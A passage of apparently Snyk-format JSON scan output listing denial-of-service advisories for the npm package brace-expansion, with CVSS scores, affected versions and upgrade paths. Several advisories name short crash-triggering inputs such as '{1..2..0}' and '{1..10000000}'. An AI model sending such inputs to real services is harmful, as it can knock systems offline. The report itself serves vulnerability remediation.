"baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` 